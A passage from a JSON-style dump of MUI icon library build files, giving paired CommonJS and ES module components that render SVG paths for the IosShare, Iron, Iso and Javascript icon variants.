    "path": "packages/mui-icons-material/lib/IosShareOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16 5-1.42 1.42-1.59-1.59V16h-1.98V4.83L9.42 6.42 8 5l4-4zm4 5v11c0 1.1-.9 2-2 2H6c-1.11 0-2-.9-2-2V10c0-1.11.89-2 2-2h3v2H6v11h12V10h-3V8h3c1.1 0 2 .89 2 2\"\n}), 'IosShareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/IosShareRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v11H6V10h2c.55 0 1-.45 1-1s-.45-1-1-1H6c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 16c.55 0 1-.45 1-1V5h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.2-.2-.51-.2-.71 0L8.85 4.15c-.31.31-.09.85.36.85H11v10c0 .55.45 1 1 1\"\n}, \"1\")], 'IosShareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/IosShareRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-2c-.55 0-1 .45-1 1s.45 1 1 1h2v11H6V10h2c.55 0 1-.45 1-1s-.45-1-1-1H6c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 16c.55 0 1-.45 1-1V5h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.2-.2-.51-.2-.71 0L8.85 4.15c-.31.31-.09.85.36.85H11v10c0 .55.45 1 1 1\"\n}, \"1\")], 'IosShareRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/IosShareSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8h-5v2h3v11H6V10h3V8H4v15h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 16h2V5h3l-4-4-4 4h3z\"\n}, \"1\")], 'IosShareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/IosShareSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8h-5v2h3v11H6V10h3V8H4v15h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 16h2V5h3l-4-4-4 4h3z\"\n}, \"1\")], 'IosShareSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/IosShareTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-3v2h3v11H6V10h3V8H6c-1.11 0-2 .89-2 2v11c0 1.1.89 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.11-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 16h2V5h3l-4-4-4 4h3z\"\n}, \"1\")], 'IosShareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/IosShareTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-3v2h3v11H6V10h3V8H6c-1.11 0-2 .89-2 2v11c0 1.1.89 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.11-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 16h2V5h3l-4-4-4 4h3z\"\n}, \"1\")], 'IosShareTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Iron.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6c-1.66 0-3 1.34-3 3v4c0 .55-.45 1-1 1v-4c0-1.66-1.34-3-3-3h-4c-1.66 0-3 1.34-3 3h2c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v1H6c-2.21 0-4 1.79-4 4v3h15v-2c1.66 0 3-1.34 3-3V9c0-.55.45-1 1-1h1V6z\"\n}), 'Iron');"
  },
  {
    "path": "packages/mui-icons-material/lib/Iron.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6c-1.66 0-3 1.34-3 3v4c0 .55-.45 1-1 1v-4c0-1.66-1.34-3-3-3h-4c-1.66 0-3 1.34-3 3h2c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v1H6c-2.21 0-4 1.79-4 4v3h15v-2c1.66 0 3-1.34 3-3V9c0-.55.45-1 1-1h1V6z\"\n}), 'Iron');"
  },
  {
    "path": "packages/mui-icons-material/lib/IronOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6c-1.66 0-3 1.34-3 3v4c0 .55-.45 1-1 1v-4c0-1.66-1.34-3-3-3h-4c-1.66 0-3 1.34-3 3h2c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v1H6c-2.21 0-4 1.79-4 4v3h15v-2c1.66 0 3-1.34 3-3V9c0-.55.45-1 1-1h1V6zm-6 10H4v-1c0-1.1.9-2 2-2h9z\"\n}), 'IronOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/IronOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6c-1.66 0-3 1.34-3 3v4c0 .55-.45 1-1 1v-4c0-1.66-1.34-3-3-3h-4c-1.66 0-3 1.34-3 3h2c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v1H6c-2.21 0-4 1.79-4 4v3h15v-2c1.66 0 3-1.34 3-3V9c0-.55.45-1 1-1h1V6zm-6 10H4v-1c0-1.1.9-2 2-2h9z\"\n}), 'IronOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/IronRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.27 10c.34 0 .68-.16.84-.47.17-.31.51-.53.89-.53h4c.55 0 1 .45 1 1v1H6c-2.21 0-4 1.79-4 4v2c0 .55.45 1 1 1h13c.55 0 1-.45 1-1v-1c1.66 0 3-1.34 3-3V9c0-.55.45-1 1-1s1-.45 1-1-.45-1-1-1c-1.66 0-3 1.34-3 3v4c0 .55-.45 1-1 1v-4c0-1.66-1.34-3-3-3h-4c-1.13 0-2.11.62-2.63 1.55-.36.65.16 1.45.9 1.45\"\n}), 'IronRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/IronRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.27 10c.34 0 .68-.16.84-.47.17-.31.51-.53.89-.53h4c.55 0 1 .45 1 1v1H6c-2.21 0-4 1.79-4 4v2c0 .55.45 1 1 1h13c.55 0 1-.45 1-1v-1c1.66 0 3-1.34 3-3V9c0-.55.45-1 1-1s1-.45 1-1-.45-1-1-1c-1.66 0-3 1.34-3 3v4c0 .55-.45 1-1 1v-4c0-1.66-1.34-3-3-3h-4c-1.13 0-2.11.62-2.63 1.55-.36.65.16 1.45.9 1.45\"\n}), 'IronRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/IronSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6v8h-1V7H7v3h2V9h6v2H6c-2.21 0-4 1.79-4 4v3h15v-2h3V8h2V6z\"\n}), 'IronSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/IronSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6v8h-1V7H7v3h2V9h6v2H6c-2.21 0-4 1.79-4 4v3h15v-2h3V8h2V6z\"\n}), 'IronSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/IronTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 16H4v-1c0-1.1.9-2 2-2h9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6c-1.66 0-3 1.34-3 3v4c0 .55-.45 1-1 1v-4c0-1.66-1.34-3-3-3h-4c-1.66 0-3 1.34-3 3h2c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v1H6c-2.21 0-4 1.79-4 4v3h15v-2c1.66 0 3-1.34 3-3V9c0-.55.45-1 1-1h1V6zm-6 10H4v-1c0-1.1.9-2 2-2h9z\"\n}, \"1\")], 'IronTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/IronTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 16H4v-1c0-1.1.9-2 2-2h9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6c-1.66 0-3 1.34-3 3v4c0 .55-.45 1-1 1v-4c0-1.66-1.34-3-3-3h-4c-1.66 0-3 1.34-3 3h2c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v1H6c-2.21 0-4 1.79-4 4v3h15v-2c1.66 0 3-1.34 3-3V9c0-.55.45-1 1-1h1V6zm-6 10H4v-1c0-1.1.9-2 2-2h9z\"\n}, \"1\")], 'IronTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Iso.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5.5 7.5h2v-2H9v2h2V9H9v2H7.5V9h-2zM19 19H5L19 5zm-2-2v-1.5h-5V17z\"\n}), 'Iso');"
  },
  {
    "path": "packages/mui-icons-material/lib/Iso.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5.5 7.5h2v-2H9v2h2V9H9v2H7.5V9h-2zM19 19H5L19 5zm-2-2v-1.5h-5V17z\"\n}), 'Iso');"
  },
  {
    "path": "packages/mui-icons-material/lib/IsoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5.5 7.5h2v-2H9v2h2V9H9v2H7.5V9h-2zM19 19H5L19 5zm-2-2v-1.5h-5V17z\"\n}), 'IsoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/IsoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5.5 7.5h2v-2H9v2h2V9H9v2H7.5V9h-2zM19 19H5L19 5zm-2-2v-1.5h-5V17z\"\n}), 'IsoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/IsoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6.25 7.5H7.5V6.25c0-.41.34-.75.75-.75s.75.34.75.75V7.5h1.25c.41 0 .75.34.75.75s-.34.75-.75.75H9v1.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V9H6.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75M18 19H5L19 5v13c0 .55-.45 1-1 1m-1-2.75c0-.41-.34-.75-.75-.75h-3.5c-.41 0-.75.34-.75.75s.34.75.75.75h3.5c.41 0 .75-.34.75-.75\"\n}), 'IsoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/IsoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6.25 7.5H7.5V6.25c0-.41.34-.75.75-.75s.75.34.75.75V7.5h1.25c.41 0 .75.34.75.75s-.34.75-.75.75H9v1.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V9H6.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75M18 19H5L19 5v13c0 .55-.45 1-1 1m-1-2.75c0-.41-.34-.75-.75-.75h-3.5c-.41 0-.75.34-.75.75s.34.75.75.75h3.5c.41 0 .75-.34.75-.75\"\n}), 'IsoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/IsoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM5.5 7.5h2v-2H9v2h2V9H9v2H7.5V9h-2zM19 19H5L19 5zm-2-2v-1.5h-5V17z\"\n}), 'IsoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/IsoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM5.5 7.5h2v-2H9v2h2V9H9v2H7.5V9h-2zM19 19H5L19 5zm-2-2v-1.5h-5V17z\"\n}), 'IsoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/IsoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19V5L5 19zm-2-3.5V17h-5v-1.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 15.5h5V17h-5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5.5 7.5h2v-2H9v2h2V9H9v2H7.5V9h-2zM19 19H5L19 5z\"\n}, \"1\")], 'IsoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/IsoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19V5L5 19zm-2-3.5V17h-5v-1.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 15.5h5V17h-5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5.5 7.5h2v-2H9v2h2V9H9v2H7.5V9h-2zM19 19H5L19 5z\"\n}, \"1\")], 'IsoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Javascript.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14v-1h1.5v.5h2v-1H13c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1h-1.5v-.5h-2v1H16c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1M9 9v4.5H7.5v-1H6v1c0 .83.67 1.5 1.5 1.5H9c.83 0 1.5-.67 1.5-1.5V9z\"\n}), 'Javascript');"
  },
  {
    "path": "packages/mui-icons-material/lib/Javascript.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14v-1h1.5v.5h2v-1H13c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1h-1.5v-.5h-2v1H16c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1M9 9v4.5H7.5v-1H6v1c0 .83.67 1.5 1.5 1.5H9c.83 0 1.5-.67 1.5-1.5V9z\"\n}), 'Javascript');"
  },
  {
    "path": "packages/mui-icons-material/lib/JavascriptOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14v-1h1.5v.5h2v-1H13c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1h-1.5v-.5h-2v1H16c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1M9 9v4.5H7.5v-1H6v1c0 .83.67 1.5 1.5 1.5H9c.83 0 1.5-.67 1.5-1.5V9z\"\n}), 'JavascriptOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/JavascriptOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14v-1h1.5v.5h2v-1H13c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1h-1.5v-.5h-2v1H16c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1M9 9v4.5H7.5v-1H6v1c0 .83.67 1.5 1.5 1.5H9c.83 0 1.5-.67 1.5-1.5V9z\"\n}), 'JavascriptOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/JavascriptRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.54 10.5c.1.29.38.5.71.5.41 0 .75-.34.75-.75V10c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2.5v1h-2.04c-.1-.29-.38-.5-.71-.5-.41 0-.75.34-.75.75V14c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1h-2.5v-1zm-8.04 3H9V9.75c0-.41.34-.75.75-.75s.75.34.75.75v3.75c0 .83-.67 1.5-1.5 1.5H7.5c-.83 0-1.5-.67-1.5-1.5v-.25c0-.41.34-.75.75-.75s.75.34.75.75z\"\n}), 'JavascriptRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/JavascriptRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.54 10.5c.1.29.38.5.71.5.41 0 .75-.34.75-.75V10c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2.5v1h-2.04c-.1-.29-.38-.5-.71-.5-.41 0-.75.34-.75.75V14c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1h-2.5v-1zm-8.04 3H9V9.75c0-.41.34-.75.75-.75s.75.34.75.75v3.75c0 .83-.67 1.5-1.5 1.5H7.5c-.83 0-1.5-.67-1.5-1.5v-.25c0-.41.34-.75.75-.75s.75.34.75.75z\"\n}), 'JavascriptRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/JavascriptSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 15v-2h1.5v.5h2v-1H12V9h5v2h-1.5v-.5h-2v1H17V15zM9 9v4.5H7.5v-1H6V15h4.5V9z\"\n}), 'JavascriptSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/JavascriptSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 15v-2h1.5v.5h2v-1H12V9h5v2h-1.5v-.5h-2v1H17V15zM9 9v4.5H7.5v-1H6V15h4.5V9z\"\n}), 'JavascriptSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/JavascriptTwoTone.js",
